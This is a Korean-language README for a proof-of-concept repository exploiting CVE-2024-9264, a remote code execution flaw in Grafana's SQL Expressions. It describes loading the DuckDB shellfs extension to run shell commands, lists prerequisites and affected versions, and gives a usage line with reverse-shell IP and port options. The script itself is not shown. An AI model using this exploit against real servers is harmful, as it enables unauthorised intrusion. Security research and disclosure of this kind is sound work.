CVE-2024-9264-RCE-Exploit in Grafana via SQL Expressions

설명

Grafana의 SQL Expressions 기능을 통한 원격 코드 실행 (CVE-2024-9264) 개념 증명

이 저장소는 Grafana의 SQL Expressions 기능에서 원격 코드 실행(RCE) 취약점을 악용하는 Python 스크립트를 포함하고 있습니다. 불충분한 입력 검증을 이용하여 이 익스플로잇은 공격자가 서버에서 임의의 셸 명령을 실행할 수 있도록 합니다. 이는 shellfs 커뮤니티 확장을 통해 가능하며, 공격자가 설치하고 로드하여 명령 실행을 용이하게 할 수 있습니다.

사전 요구 사항

• Viewer 권한 이상이 있는 인증된 Grafana 사용자
• DuckDB 바이너리가 설치되어 Grafana의 PATH를 통해 접근 가능해야 함

영향을 받는 버전

Grafana >= v11.0.0 (모든 v11.x.y 버전이 영향을 받음)

사용법

python3 poc.py [--url <target>] [--username <username>] [--password <password>] [--reverse-ip <IP>] [--reverse-port <PORT>]

예시